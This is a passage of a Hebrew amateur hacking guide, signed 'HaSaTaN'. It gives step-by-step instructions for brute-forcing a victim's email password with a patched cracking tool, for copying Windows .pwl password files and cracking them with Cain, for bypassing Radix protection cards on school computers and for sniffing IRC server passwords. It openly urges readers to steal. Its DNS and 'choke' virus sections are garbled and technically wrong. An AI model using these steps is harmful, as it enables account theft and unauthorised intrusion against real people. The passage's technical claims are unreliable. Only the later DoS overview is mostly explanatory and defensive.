‫* לעולם על תשנו כלום ב‪ BIOS -‬חוץ ממה שאמרתי לכם מקודם ‪ -‬זה יכול לדפוק את המחשב‬
‫שלכם קשות !!‬

‫‪HaSaTaN‬‬

‫‪277‬‬
‫כוח ברוטלי‬
‫מהו כוח ברוטלי?‬
‫נגיד שאתם רוצים לפרוץ אתר‪ ,‬או אימייל‪ ,‬איך עושים את זה???‬
‫אז יש תוכנות שנקראות כוח ברוטלי‪ ,‬יש שתי סוגים של תוכנות כוח ברוטלי!‬
‫‪=====----‬סוג ראשון=====‪-----‬‬
‫אתה מביא להם את ה‪ ,username -‬והם אמורות לגלות לך את ה‪ ,password -‬כיצד הם עושות‬
‫את זה?‬
‫כך‪ ,‬פשוט הם בודקות את כל האפשרויות האפשריות‪ ,‬לדוגמא‪:‬‬
‫הם בודקות ככה‪:‬‬
‫‪username:111‬‬
‫‪username:112‬‬
‫‪username:113‬‬
‫‪username:114‬‬
‫(ה‪ username -‬מסמל את השם משתמש שאתה נתת לתוכנה‪ ,‬ומה שמהצד השני של‬
‫הנקודתיים‪ ,‬זה הסיסמא)‬
‫כך התוכנה של הכוח הברוטלי מוצאת בסוף את הסיסמא‪.‬‬

‫‪=====-----‬סוג שני=====‪-----‬‬

‫אתה מביא להם את ה‪ ,username -‬והם אמורות לגלות לך את ה‪ ,password -‬כיצד הם עושות‬
‫את זה?‬
‫יש להם קובץ טקסט מוכן‪ ,‬שבו יש את כל הסיסמאות האפשריות‪ ,‬והתוכנה פשוט בודקת את‬
‫ההתאמה של השם משתמש והסיסמא‪ ,‬ע"י התאמה עם כל הסיסמאות האפשריות‪ ,‬שנמאות‬
‫בקובץ‪.‬‬

‫שאלות נפוצות‪:‬‬
‫‪ .1‬אם זה יצליח לי‪ ,‬כמה זמן זה אמור לקחת?‬
‫‪ .2‬מה שיעור האחוזים של ההצלחה לפרוץ סרבר (שרת‪ ,‬או שרת ‪ )ftp‬או דואר אלקטרוני?‬

‫תשובות‪:‬‬

‫‪ .1‬אי‪-‬אפשר לדעת‪ ,‬תלוי מה הסיסמא‪ ,‬עם הסיסמא ארוכה ואם המון מספרים‪ ,‬קרוב לוודאי‬
‫שהתוכנה תגלה אותה לאחר ‪ 6‬שעות‪.‬‬
‫אבל אם הסיסמא קצרה ולא מסובכת‪ ,‬זה יקח בערך בין ‪ 15‬דקות ל‪ 30-‬דקות‪.‬‬
‫‪20% .2‬‬

‫אני כבר רואה את סימן השאלה על פניכם‪ ,‬כן‪ ,‬כן‪ ,‬מה שקורה זה‪ ,‬שרוב השרתים (‪ftp,‬‬
‫‪ ,)pop3,smtp,http‬לא מאפשרים ניסיונות חוזרים עוד פעם ועוד פעם‪ ,‬שכשהם מזהים כניסות‬
‫שגויות בזה אחר זה‪ ,‬אם ניסיונות בסדר עולה‪ ,‬הם מבינות שמשהו מסריח פה‪ ,‬ועושים למחשב‬

‫‪278‬‬
‫‪ ,requiesd out‬שזה אומר‪ ,‬פוט לא נונתים לך להמשיך‪ ,‬ככה שהסיכוי להיפגש בשרת שלא‬
‫חסין לכך‪ ,‬היא די קטנה!!‬
‫או‪.‬קי‪ .‬עכשיו לשלב המעשי‪ ,‬איך אני עושה את זה?‬
‫איפה אני יכול להשיג תוכנה כזאת?‬
‫אתם יכולים להוריד תוכנת כוח ברוטלי מהאתר שלי מהקישור הבא‪:‬‬
‫‪www.geocities.com/d_k_hack/files/wwwhack.zip‬‬
‫אחרי שהורדתם‪ ,‬הפעילו את הפאצ' (‪ ,)patch‬שאמור לעצור את ‪ 30‬יום שנותנים לכם לתוכנה‪.‬‬

‫עכשיו‪ ,‬אחרי שהורדתי אני רוצהלפרוץ אתר‪ ,‬או אימייל איך אני עושה את זה?‬

‫אחרי שמורידים את התוכנה צריך לפתוח אותה‪.‬‬


‫יש תפריט‪ file - access - options :‬וכל אלה‪.‬‬

‫אז הולכים ל‪ACCESS -‬‬

‫ושם הולכים ל‪ POP3 -‬נותן לכם אפשרות לגלות סיסמת דואר אלקטרוני של אנשים‪.‬‬
‫תלחצו על האפשרות הזאת יש שם תיבת טקסט שבה רושמים את שרת הדואר שמאוחסן אל‬
‫תיבת הדואר של הקורבן תרשמו את השרת‪.‬‬
‫(השרת של אינטרנט זהב‪:‬‬
‫‪in.zahav.net.il‬‬
‫אם אני לא טועה השרת של הוטמייל‪:‬‬
‫‪mailgw.hotmail.co.il‬‬
‫וכדומה‪.....‬‬
‫אתם יכולים לשלוח מכתב אל החברה‪ ,‬והם יגידו לכם מה כתובת השרת)‬
‫עכשיו באגף ה‪ USERNAME -‬תבחרו באפשרות‪ALWAYS USE THE USER NAME -‬‬
‫עכשיו אם למשל הדואר של הקורבן הוא ‪niv@zahav.net.il‬‬
‫אז לרשום ‪ NIV‬באגף ה‪password -‬‬
‫ותבחרו ב ‪ read from thiz file‬תלחצו אישור‪.‬‬
‫עכשיו זה אמור להתחיל לעבוד‪.‬‬
‫' ' ' נותר רק לקוות שזה יעבוד!‬

‫עם תוכנת כוח ברוטלי אפשר לפרוץ‪ ,‬גם סיסמאות של ווינדואוס ושל רשת מחשבים (‪,)novvel‬‬
‫פשוט התוכנה אחרת (זה לא אומר שהיא לא משתמשת בשתי השיטות שהזכרתי בהתחלה)‪.‬‬
‫לדוגמא‪.cain ,‬‬
‫ניתן להוריד אותה מהאתר שלי‪ ,‬בכתובת הבאה‪:‬‬
‫‪http://www.geocities.com/d_k_hack/files/Caine151.zip‬‬

‫הוראות הפעלה‪:‬‬
‫הפעילו את קובץ הזיפ‪ ,‬בתוכו תמצאו קובץ בשם‪ caine151 -‬בצורה של ‪( icon‬צלמית)‪ ,‬של קובץ‬
‫התקנה‪.‬‬
‫התקינו את הקובץ‪.‬‬
‫לאחר שהתקנתם‪ ,‬הפעילו את התוכנה‪ ,‬לחצו על הכפתור ‪ ,cashed password‬תמונה שלו‬
‫נמצאת בקובץ של בגיליון בשם‪.cashed_password.jpg -‬‬
‫שם תוכלו לראות את סיסמת הרשת שלכם‪ ,‬ואת כל האתרים להם יש לכם סיסמאות מבוטחות‪.‬‬
‫מדהים אה??‬
‫לחצו על כפתור‪ ,screen saver ,‬מצורפת תמונה של הלחצן בשם‪ ,screen_saver.jpg -‬והתוכנה‬
‫תקפיץ לכם אלרט עם הסיסמא‪...‬‬
‫עכשיו‪ ,‬בכדי לפרוץ ססמאת ‪ ,windows‬עליכם להעתיק את כל הקבצים בעלי סיומת ה‪pwl -‬‬
‫מתיקיית ‪c:/windows‬‬
‫עשו את זה כך‪:‬‬
‫כנסו לדוס‪ ,‬לתיקיית ‪ ,windows‬עם הדוס לא נפתח אוטומתית בתיקיית ‪ windows‬לחצו‪cd :‬‬
‫‪windows‬‬
‫עכשיו‪ ,‬הכניסו תקליטון ‪ :A‬לתוך כונן התקליטונים והקלידו‪:‬‬

‫‪279‬‬
‫‪copy *.pwl A:‬‬
‫בואו נעבור שלב שלב לראות מה כתבנו‪ ,‬בהתחלה מה הם קבצי‪ ,pwl -‬קבצי‪ pwl -‬הם הקבצים‬
‫בם מאוכסנים כל הסיסמאות של ‪ windows‬או במקרה אחר‪ ,‬של ‪.novvel‬‬
‫"‪ "copy‬פקודה זו אומרת העתק‪.‬‬
‫"‪ "*.pwl‬זו פקודה מאוד שימושית‪ ,‬ה‪ "*" -‬אומרת למחשב שיקח את כל הקבצים‪ ,‬חכו עוד‬
‫שנייה תבינו‪ ,‬למשל‪:‬‬
‫כשאני כותב‪ ,*.* :‬זה אומר‪ ,‬כל שמות הקבצים‪ ,‬מכל הסוגים‪ ,‬ה‪ "*" -‬השמאלית‪ ,‬מסמלת את‬
‫שמות הקבצים‪ ,‬וה‪ "*" -‬הימנית מסמלת את סוג הקבצים (‪ exe, jpg, wav, mp3, doc‬וכו'‪.)..‬‬
‫אז כשכתבנו שאנו מעתיקים את כל שמות הקבצים (כתבנו כוכבית מצד שמאל)‪ ,‬וכתבנו אחרי זה‬
‫"‪ ".pwl‬זה אומר שכל שמות הקבצים רק מסוג‪.pwl -‬‬
‫"‪ "A:‬שזה כמובן הפקודה להעתקה לכונן ‪a:‬‬
‫עכשיו חוזרים ל‪ windows -‬ע"י הקשת‪ exit -‬או ‪ ,win‬ומפעילים את התוכנה ‪ caine‬שוב‪ ,‬הפעם‬
‫אנחנו נלך ל‪ ,pwl files -‬תמונה של הלחצן מצורפת בשם‪pwl_files.jpg :‬‬
‫לאחר שלחצתם על הלחצן "‪ "pwl files‬ליחצו על "‪ "files‬שנמצא בתפריט העליון ולחצו על "‬
‫‪( "add to list‬הוסף לרשימה)‪ ,‬פתחו את כונן ‪ A:‬ופתחו את הקובץ (קבצים) שהעתקתם‬
‫מתיקיית ‪ windows‬ולחצו לחיצה ימנית על ה ‪ pwl‬החדש שהצתרף והכניסו לו ‪user name‬‬
‫(שם משתמש)‪ .‬לחצו ‪ ENTER‬ולחצו על הקובץ ‪ pwl‬החדש לחיצה כפולה‪ ,‬והוא יתחיל לעבוד!‬

‫הערה‪ :‬יש קובץ ‪ jpg‬מצורף בשם ‪ caine‬שם תוכלו לקבל תמונה כללית של התוכנה!‬
‫‪HaSaTaN‬‬

‫‪280‬‬
‫‪Radix‬‬
‫המדריך לעקיפת כרטיס הרדיקס ‪( Radix‬לא עובד בטוח בכל הכרטיסים אצלי כן)‬

‫קודם כל מה זה רדיקס?‬
‫רדיקס זה כרטיס שאמור לשמור ולהגן על כל המידע של המחשב (ואנחנו עומדים לפרוץ אותו)‬
‫ויכול לשחזר את המידע במקרה של מחיקה של קבצים חשובים ‪ ,‬וירוס וכל סיבה אחרת של‬
‫בעיה במידע‬
‫בד"כ בתי ספר משתמשים בזה נגד ילדים שרוצים להרוס את המחשבים למחוק קבצים לשנות‬
‫הגדרות וכו'‬
‫יום אחד ישבתי משועמם בחדר מחשבים ולא היה מה לעשות אז התחלתי לנסות לפרוץ את‬
‫ההגנה וזה מה שיצא‬
‫אז ככה יש ‪ 3‬שיטות‪:‬‬

‫(לא בטוח עובדת עקב שיפור ההגדרות)‬ ‫‪.1‬‬


‫הפעילו את המחשב ליחצו ‪ F12‬לכניסה להגדרות הרדיקס יהיה שלוש אפשרוית‪:‬‬
‫דיסקטים‬
‫הארד‪-‬דיסק‬

‫וסידירום‬
‫ביחרו בהארד‪-‬דיסק הוא יחשוב קצת ואז יגיד שלא נמצא כרטיס רדיקס להמשך הקישו ‪Y‬‬
‫הוא יחשוב וימשיך לעלות וזהו יש לכם גישה ל ‪ WIN‬ללא הגנה!!!‬
‫לפעמים תצטרכו לעשות את זה כמה פעמים עד שזה יתקבל‬
‫לא לשכוח שכל דברים שתשנו ישארו וזה יכול להפליל אותכם‬
‫אז תזכרו כל דבר ששניתם ותשנו בחזרה שאתם גומרים‪.‬‬
‫נ‪.‬ב‬
‫כדי לסגור בחזרה את הרדיקס תצטרכו לכבות את במחשב לכמה דקות‬

‫‪.2‬שיטה שניה לא מסובכת אבל נותנת אפשרות לשנות קבצים רק במצב דוס וגם לא בטוח עובדת‬
‫בכל הכרטיסים‬
‫תתחילו מתקליטון איתחול של ‪ WIN‬ותעלו לדוס‬
‫וזהו אין הגנה !!!‬
‫מסובך ??‬

‫*** כל המדריך מבוסס על כך שאין מערכת הגנה נוספת ובשיתוף רגיל של מחשבים ברשת ***‬
‫*** אני לא יודע אם זה עובד גם באחרים ***‬

‫עובדת בטוח (‪ )99%‬אבל לא לכולם זה ביצועי‬ ‫‪.3‬‬


‫פיתחו את המחשב אם הוא לא נעול‬
‫אם נעול תשברו את המנעול סתם !! אם נעול אכלתם אותה!!‬

‫‪281‬‬
‫בכל מקרה פיתחו את המחשב יהיה לכם כל מיני כרטיסים על הלוח אם תחפשו אחד שיש עליו‬
‫מדבקה או‬
‫משהו שאומר שזה של חברת רדיקס‪ ,‬ואני סומך עליכם שתדעו מה לעשות איתו‪(...‬השאלה כמה‬
‫אתם רוצים לשלם ‪.) )-:‬‬

‫***‬

‫*‬
‫תנסו כמה פעמים אם לא עובד אל תתעקשו כניראה שיש אצלכם משהו אחר או גירסה חדשה‬
‫בכל מקרה אני לא אחרי לשטויות שתעשו‪.‬‬
‫תהנו!!‬
‫‪HaSaTaN‬‬

‫‪CHAT‬‬
‫צ'אטים‪ ,‬צ'אטים צ'אטים מה לא נאמר על צ'אטים‪....‬‬
‫אהקיצקץ‪ ,‬אני בטוח שכלכם ניסיתם להיכנס לצ'אטים דרך המירק‪ ,‬אבל איפה לעזאזל נמצא‬
‫הצ'ט ומה הסיסמא שלו!‬
‫הכתובת של הצ'ט היא‪:‬‬
‫‪www21.brinkster.com/nof/chat.asp‬‬
‫שמה נעשה את כל הניסויים שלנו היום!‬
‫אחרי שנכנסתם לכתובת שהבאתי לכם הורידו את הפאקט‪-‬סניפר המ‪-‬ע‪-‬ו‪-‬ל‪-‬ה! מהכתובת‬
‫הבאה‪:‬‬
‫‪Ftp://Ftp.tamos.com/cv3.zip‬‬
‫תתקינו ויאללה‪ ,‬לעבודה (עדיין על תירשמו ניק לצ'ט‪ ,‬פשוט חכו עד שתגמרו להוריד את‬
‫התוכנה)‪ ,‬אז ככה לאחר שהפעלתם את הפאקט סניפר אתם יכולים להבין בערך מה הוא עושה‪,‬‬
‫הפאקט סניפר הוא כלי חשוב מאוד בכל מחשב של האקר‪ ,‬הפאקט סניפר מראה לך את‬
‫הפאקטים שמתקבלים לחמשב שלך דרך קווי‪-‬הטלפון‪ ,‬כנסו שנייה לכרטיסייה ‪,IP statics‬‬
‫שמה תוכלו לראות את כל ה‪ IP'S -‬שאתם מחוברים אליהם כעת‪ ,‬זה יראה לכם גם את כל‬
‫הפורטים שפתוחים באותו ‪ ,IP‬אז אתם תראו‪:‬‬
‫‪ip statics‬‬ ‫‪ports‬‬
‫‪x.x.x.x 6667 ,80‬‬
‫אתם יכולים ללחוץ לחיצה ימנית על ה‪ IP -‬ו‪ show all ports :‬תופיע קופסא שתראה לכם‪:‬‬
‫‪80 ,6667‬‬
‫מירק ‪HTTP‬‬
‫אז כבר יש לנו את ה‪ IP -‬של השרת‪ ,‬אז אפשר ללכת למירק ולכתוב‪:‬‬
‫‪server x.x.x.x 6667/‬‬
‫נראה מה קורה‪ ,‬אה ‪ -‬תראו מה קרה‪:‬‬
‫‪error no previliges‬‬
‫אה קיצקץ‪ ,‬יש לנו פה עסק אם שרת שיש לו סיסמא‪ ,‬אז זה הולך בעצם ככה‪:‬‬
‫‪server x.x.x.x 6667 ***PASSWORD/‬‬
‫א‪-‬ב‪-‬ל א‪-‬י‪-‬ן ל‪-‬נ‪-‬ו א‪-‬ת ה‪-‬ס‪-‬י‪-‬ס‪-‬מ‪-‬א!‬
‫מה עושים?‬
‫אז כפי שהבנתם הפאקט‪-‬סניפר‪ ,‬לא רק מראה לנו את כתובת ה‪ IP -‬ולא רק את הפורטים אלא‬
‫גם את תוכן הפאקטים ואת ה‪( FLAGS -‬מוסבר ביתר פירוט בכתבה‪ ,)ip_spoof.txt :‬אז ככה‪:‬‬
‫לחצו לחיצה ימנית על האי פי של השרת ‪ IRC‬שלנו וביחרו ‪ jump to‬ושם ביחרו ‪,first packet‬‬

‫‪282‬‬
‫שמה נוכל לראות רשימה ענקית של כל הפאקטים שקילנו עד עכשיו מהשרת‪ ,‬ואת כל‬
‫הפאקטים ששלחנו‪.‬‬
‫אנחנו רואים שאחד מהפאקטים מסומן‪ ,‬ויש מתחתיו כל מיני קשקושים צבעוניים והנה אנחנו‬
‫רואים בסוף כתוב‪:‬‬
‫חירבוש כלשהו‪ ,‬זוהי הסיסמא‬
‫זהו‪ ,‬זו הסיסמא שלנו‪ ,‬כל מה שנותר לעשות זה ללכת למירק ולכתוב‪:‬‬
‫‪server IP.IP.IP.IP 6667 PASSWORD/‬‬
‫וזה עובד!‬

‫מגניב‪ ,‬פשוט מגניב‪ ,‬אז תכייפו‪ ,‬תהרסו‪ ,‬תשפצו‪ ,‬ותגנבו כל מה שאתם רואים!!!!!!‬
‫(על חשבון הבית)‬
‫‪HaSaTaN‬‬

‫‪CHOKE‬‬
‫טוב‪ ,‬אז הכתבה הזאת לא אמורה להיות משהו מיוחד‪ ,‬אלא רק סתם נישנוש!‬
‫אבל אני מקווה שרובכם תואהבו אותה!‬
‫אז ניגש לעניין‪ ,‬יש דבר שניקרא ‪( choke‬פרטים בהמשך)‪,‬‬
‫ה‪ choke -‬הזה (עם או תירצו תקראו לו "ווירוס")‪ ,‬יהיה בילתי נראה על המחשב של הקרבן‪,‬‬
‫דבר ראשון‪ ,‬ה‪ choke -‬מועבר ע"י שיחה כל שהיא באמצעות פורט של קשר ישיר ללא הפרעת‬
‫שרת‪ ,‬כגון ‪( irc‬מירק)‪ ,icq, msn MESSNEGER ,‬אודיגו וכדומה‪ ,‬ה‪ ,choke -‬בזמן שאתה‬
‫נגיד מדבר עם ‪ xy‬ל‪ xy -‬רץ ה‪ choke -‬שזה יותר גרוע מ ‪ 20‬פרצופים מנצנצים כל שנייה!‬
‫ברגע זה כשהו מדבר איתך‪ ,‬הווירוס נפתח אצלו‪ ,‬ומשתלט עליו‪ ,‬כרגע‪( ,‬ממש עכשיו) הווירוס גם‬
‫הורס לא את ה‪ bios -‬ושולח לך את ההודעה הבאה‪:‬‬
‫"תגיד‪ ,‬אתה רוצה להוריד משחק של בלא בלא בלא???"‪ ,‬הוא ישאל אותך את זה עוד פעם ועוד‬
‫פעם‪ ,‬אבל זה לא הוא‪ ,‬זה הווירוס!!!! (‪...)cool‬‬
‫ה"משחק"‪ ,‬הוא בעצם ווירוס‪ ,‬ואם אתם לא מצליחים לנסות לנחש איזה ווירוס‪ ,‬אתם‬
‫דפוקים!!!‬
‫כי זה ה‪ choke -‬עצמו!‬
‫כך ה‪ choke -‬עובר מאחד לאחד‪ ,‬וכשאנשים שואלים אותי מאיפה יש להם את הווירוס הזה‬
‫שדפק להם את המחשב‪ ,‬זה ברוב המיקרים ה‪!choke -‬‬

‫הבעיה‪:‬‬
‫האנטי ווירוס (המחשב)‪ ,‬יזהה אותו כתוסף לרשת התיקשורת!‬

‫הפיתרון‪( :‬תזכרו כלל חשוב‪ :‬כמה שהבעיה קטנה‪ ,‬ככה הפתרון שלה!)‬
‫ליחצו על‪:‬‬
‫התחל‪>----‬חיפוש‪>----‬קבצים ותיקיות‪ >----‬וכיתבו‪choke :‬‬
‫כל קובץ שתמצאו‪ ,‬מחקו‪ ,‬חוץ מקובץ הטקסט הזה‪.‬‬
‫‪HaSaTaN‬‬

‫‪283‬‬
‫‪ DNS‬איך זה עובד‬
‫מה זה בכלל ‪?DNS‬‬
‫חשבתם לעצמיכם פעם‪ ,‬איך ‪ -‬כשאתם רושמים ‪ host‬כלשהו (‪ www.walla.co.il‬לדוגמא)‬
‫ה"אינטרנט" יודע איך לתרגם את זה ל‪??? IP -‬‬
‫הפעולות הבאות מתרחשות כשאתם מנסים להתחבר ל‪www.walla.co.il :‬‬

‫‪ .1‬שרת ה‪ DNS -‬מחפש ‪IP‬‬


‫‪ .2‬עם הוא מצא‪ ,‬המחשב ינסה להתחבר לאותו ‪ IP‬בפורט ‪80‬‬
‫‪ .3‬כאן‪ ,‬כבר המחשב ישלח פקודת‪ get /index.html :‬שמורידה למחשב את קוד‪-‬המקור של‬
‫מתרגמת אותו לדף ‪ HTML‬נקי וחלק!‬ ‫הדף‪ ,‬ובמחשב שלכם‬

‫אז אחרי שהסברנו קצת על איך זה עובד‪ ,‬אתם אמורים להבין את השאלה הגדולה!‬
‫איך לעזאזל פועל שרת ‪ ?DNS‬מאיפה הוא יודע מה ה‪ IP -‬של איזה הוסט נידח ???‬

‫אז ככה‪.‬‬
‫לכל שרת ‪ ,DNS‬יש מין ‪ DATABASE‬ששמה מאוחסנים במין טבלה רשימה דומה לזאת‪:‬‬

‫‪host‬‬ ‫‪ip‬‬
‫‪org 23.233.6.1‬‬
‫‪com 24.124.4.3‬‬
‫‪net 23.143.5.9‬‬

‫פשוט מאוד‪ ,‬אתם מתחברים ל‪ DB -‬של ה‪ DNS -‬ונגיד הקלדנו ‪ www.walla.co.il‬ב‪ DB -‬אנחנו‬
‫הולכים ל‪ HOST -‬ושם ל‪ CO.IL :‬וזה מביא לנו ‪ IP‬ששם זה מן רשת של כל האתרים שנגמרים‬
‫‪.CO.IL -‬‬

‫בכל העולם ישנה את אותה רשימה‪ ,‬אם לא‪ ...‬לא היית יכול להיכנס מתאילנד לאתרים מהארץ‪,‬‬
‫כי ה‪ DNS -‬שמה לא היה מכיר ‪ CO.IL.‬לכן איגוד‪( ICANN :‬על תשאלו אותי מה זה) קבע‬
‫שכל רשימות ה‪ DNS -‬יהיו אותו דבר‪.‬‬

‫‪284‬‬
‫ולכן ‪ -‬כשאתם מחוברים לאינטרנט זהב אתם משתמשים ב‪ DB -‬של ה‪DNS SERVER -‬‬
‫שלהם!‬
‫פשוט ונחמד‪.‬‬

‫היית חושב‪ ,‬שאם יש איזה מישהו שאחראי על ה‪ DB -‬האלה‪ ,‬אז הוא יכול לשנות למליוני‬
‫אנשים את ‪ ,www.cnn.com‬אבל לא! הרשימות עצמם מתעדכנות אחת מהשנייה כל הזמן‪ ,‬ואם‬
‫אחת משתנה ‪ -‬היא מיד תשתנה למה שהייתה כי האחרות ישפיעו עליה‪ ,‬ככה שאי‪-‬אפשר‬
‫לעשות שום דבר כדאי לשנות רשימות של ‪ ,DNS‬וגם אם תפרוץ לשרת ‪ - DNS‬זה יהיה חסר‬
‫תועלת ‪ -‬על אחריותי!‬
‫ביי ושתיחנק אמן!‬
‫‪HaSaTaN‬‬

‫התקפות ‪DoS‬‬
‫התקפות ‪ Dos‬בהתקפות ‪ ,DoS‬אדם זדוני מבצע פעולה כלשהי על הרשת או השרת‪ ,‬שמטרתה‬
‫להפריע לפעילותם השוטפת‪.‬‬

‫לדוגמה‪ ,‬שרת אינטרנט מסוגל לטפל בכמות מוגבלת של תעבורה לפני שהו מאט לכדי זחילה‪.‬‬
‫אפשר להגדיר כלי ‪ ping‬כך שיחזור וישלח במהירות רבה מנות נתונים אל שרת מסוים‪ .‬המחשב‬
‫המארח‪ ,‬אשר נאלץ לטפל במספר העצום של בקשות ‪ ping‬שמגיעות אליו לפתע‪ ,‬עלול להיות‬
‫עסוק מכדי להגיב לבקשות נתונים אמיתיות‪.‬‬
‫במקרה אחר‪ ,‬פורץ עלול להגדיר כלי שירות אשר ישלח מנות בגודל לא צפוי או מנות המכילות‬
‫נתונים לא צפויים‪ ,‬דבר שיגרום לקריסה של השרת‪ ,‬לעצירה שלו או להאט את התגובה שלו‪.‬‬

‫התקפות ‪ DoS‬לא שימושיות במיוחד לפורץ‪ ,‬בגלל שכל מה שהן עושות הוא למנוע מאחרים‬
‫להשתמש במערכת ‪ -‬הן לא מספקות לו דרך לפרוץ פנימה‪ ,‬אלא מונעות ממשתמשים מורשים‬
‫להתחבר לשירות‪ .‬התקפה כזאת יכולה לגרום מבוכה לקורבן‪ ,‬אשר חלה הפרעה בשירותי הרשת‬
‫שלו‪ ,‬בעיות לשרת את הלקוחות או אובדן הכנסה‪ .‬תתאר לעצמך לדוגמה‪ ,‬אתר מסחר אלקטרוני‬
‫שקרס בגלל התקפת ‪ ,DoS‬כאשר אתר זה משמש כמקור ההכנסה היחיד של חברה‪ .‬כל שעה‬
‫שבה השרת לא פעיל יכולה לעלות לחברה הרבה מאוד כסף‪.‬‬

‫אבל‪ ,‬רוב התקפות ה ‪ DoS‬הן ניסיונות קטנוניים של פורצים (או בהרבה מקרים‪ ,‬של אנשים‬
‫שרוצים להיות פורצים) להפעיל כוח לשם כוח או למשוך תשומת לב והכרה‪ ,‬ללא מטרה נוספת‪.‬‬

‫התקפת ‪ SYN‬במהלך ההתקשרות הרגילה בין לקוח ושרת‪ ,‬הלקוח שולח הודעות ‪ ,SYN‬השרת‬
‫מגיב בהודעת ‪ SYN-ACK‬ולבסוף הלקוח מגיב בהודעת ‪ .ACK‬בשלב זה נוצר הקישור‪ ,‬ונתונים‬
‫יכולים לזרום בין הלקוח והשרת‪.‬‬

‫התקפה מסוג ‪ ,SYN‬זוהתה לראשונה בשנת ‪ ,1996‬שולחת לשרת הודעות ‪ SYN‬מרובות אשר‬
‫מגיעות לכאורה מכתובת כלשהי‪ ,‬שלמעשה אינה זמינה‪ .‬כאשר השרת מנסה לטפל בהודעות‬
‫‪ SYN‬אלו ע"י הקצאת רשומות חיבור‪ ,‬אין לו עוד משאבים זמינים לטפל בהודעות ‪SYN‬‬
‫אמיתיות ממשתמשים מורשים‪.‬‬
‫עבור מערכות הפעלה רבות הופצו טלאים לטיפול בהתקפות ‪ ,SYN‬וכן פורסמו תיקונים‬
‫להגדרתיהן‪ ,‬המסייעים לשרתים לטפל בהתקפות מסוג זה‪.‬‬

‫‪285‬‬
‫אחדות מהטכנולוגיות המובנות כיום במערכות הפעלה לטיפול בהתקפות ‪ SYN‬מכונוצ "עוגיות‬
‫‪ "SYN‬או "עוגיות " ‪ .RST‬עם קבלה של בקשת ‪ ,SYN‬השרת לא מקצה מידית רשומות חיבור;‬
‫במקום זאת הוא מבקש ממקור הבקשה מידע נוסף אשר יאשר שאכן מדובר בניסיון חיבור‬
‫אמיתי ולא בהתקפה‪.‬‬
‫במקרה של עוגיות ‪ ,SYN‬השרת שולח בחזרה מספר סידורי מיוחד עבור החיבור; אם מגיעה‬
‫תשובה עם אותו מספר סידורי‪ ,‬מדובר בקישור אמיתי‪ ,‬והשרת מקצה רשומות חיבור‪ .‬במקרה‬
‫של עוגיות ‪ ,RST‬השרת שולח ‪ SYN-ACK‬שגוי בחזרה אל המבקש‪ .‬אם המבקש מגיב בהודעה‬
‫שמשהו השתבש‪ ,‬מדובר בבקשת חיבור אמיתית‪ ,‬והשרת מקצה רשומת חיבור‪.‬‬

‫התקפת ‪ Land‬התקפת ‪ ,Land‬בדומה להתקפות ‪ DoS‬אחרות‪ ,‬גורמת לקריסת המחשב המארח‬


‫ע"י ניצול באג באופן שבו מיושם ‪ TCP/IP‬במערכות הפעלה מסוימות‪ .‬בהתקפה מסוג זה‬
‫נשלחת מנת ‪ SYN‬המכילה כתובת מקור ומספר פורט מזוייפים‪ .‬מנות מזוייפות אלו יכולות‬
‫לגרום למחשב המארח לקרוס או להיתקע‪.‬‬
‫אפשר להתמודד עם התקפות מסוג זה ע"י עדכון המערכת או התקנת טלאי‪ .‬בנוסף‪ ,‬כדי למנוע‬
‫יציאת התקפות מסוג זה מהרשת שלך‪ ,‬אתה יכול לקנפג את "חומת האש" כך שתחסום כל מנה‬
‫יוצאת שכתובתה שונה מאחת הכתובות הפנימיות שלך‪.‬‬

‫התקפת ‪ Smurf‬התקפת ‪ Smurf‬היא סוג ותיק של התקפה‪ .‬התקפות מסוג זה דומות להצפת‬
‫‪ ,ping‬אולם הכותרת והכתובת במנת ה ‪ ping‬שונו כך שנדמה שמקורה במחשב שנבחר כיעד‬
‫הסופי של ההתקפה‪ .‬מספר רב של מנות ‪ ping‬מזויפות משודרות‪ ,‬כאשר כל אחת מהן עשויה‬
‫להיקלט ע"י מאות מחשבים מארחים‪ .‬כל מחשב שכזה משיב לכתובת המזויפת‪ ,‬וכך מספר כפול‬
‫ומכופל של תגובות מגיע אל מערכת היעד‪ ,‬מנצל את כל המשאבים או גורם לקריסת המערכת או‬
‫להתקעותה‪.‬‬

‫הן יעד ההתקפה והן יעדיי הביניים סובלים מהתקפה זו‪ .‬המנות נשלחות מהתוקף לקורבנות‬
‫בעיקר דרך רשתות ביניים‪ ,‬תוך שינוי הגדרות הנתבים שלהן כך שיאפשרו שידורי מוכוונים‪.‬‬
‫אתה יכול לוודא שאינך מסייע בלא יודעין להתקפות מסוג זה כדי שתוודא שהנתבים ברשת שלך‬
‫מוגדרים כראוי‪ .‬כאשר התקפות מסוג זה זוהו לראשונה‪ ,‬מספר ארגונים החלו לסרוק רשתות‬
‫בחיפוש אחר נתבים בעייתיים והודיעו על כך למנהלי אותן רשתות‪ ,‬וכתוצאה מכך צנחה כמות‬
‫ההתקפות מסוג זה בצורה משמעותית‪.‬‬

‫זיוף ‪ IP‬זיוף ‪ IP‬מהותו שליחת מנה למארח כאשר גורמים לו לטעות במקור המנה‪ .‬הלקוח‬
‫התוקף שולח הודעת ‪ SYN‬אשר מכילה כתובת מקור ופורט מקור שגויים‪ .‬המחשב המארח‬
‫משיב בהודעת ‪ SYN-ACK‬וממתין עם חיבור פתוח למחצה לתשובה הסופית שצריכה להגיע‪.‬‬
‫בסופו של דבר פג תוקפו של חיבור פתוח למחצה זה‪ ,‬אולם הבקשות לחיבורים מזויפים חדשים‬
‫נשלחות מהר יותר מהמהירות שבה פג תוקף החיבורים‪ .‬בסופו של דבר המחשב המארח עסוק‬
‫מדי בטיפול בחיבורים מזויפים אלו מכדי שיכול לטפל בבקשות אמיתיות‪ ,‬מה שמביא למניעת‬
‫השירות (‪.)DoS‬‬

‫למרות שקשה אם לא בלתי אפשרי למנוע הגעת הודעות מזויפות מסוג זה‪ .‬קיימות דרכים‬
‫להקטין את נזקיהן‪ ,‬כגון קיצור הזמן ד שפג תוקפו של ניסיון חיבור‪ .‬כמו כן‪ ,‬אתה יכול למנוע‬
‫יצאת התקפות מסוג זה מהרשת שלך ע"י הגדרת הנתבים שלך כך שיסננו מנות יוצאות שכתובת‬
‫המקור שלהן אינה תואמת את הרשת שלך‪.‬‬
‫התקפת ‪ Teardrop‬התקפת ‪ Teardrop‬היא התקפת ‪ DoS‬אשר יכולה לגרום לקריסתו או‬
‫היתקעותו של מחשב יעד אם כי לרוב מערכות ההפעלה יש שדרוגים או טלאים אשר מתקנים‬
‫את נקודת החולשה שאותה מנצלות התקפות אלו‪.‬‬
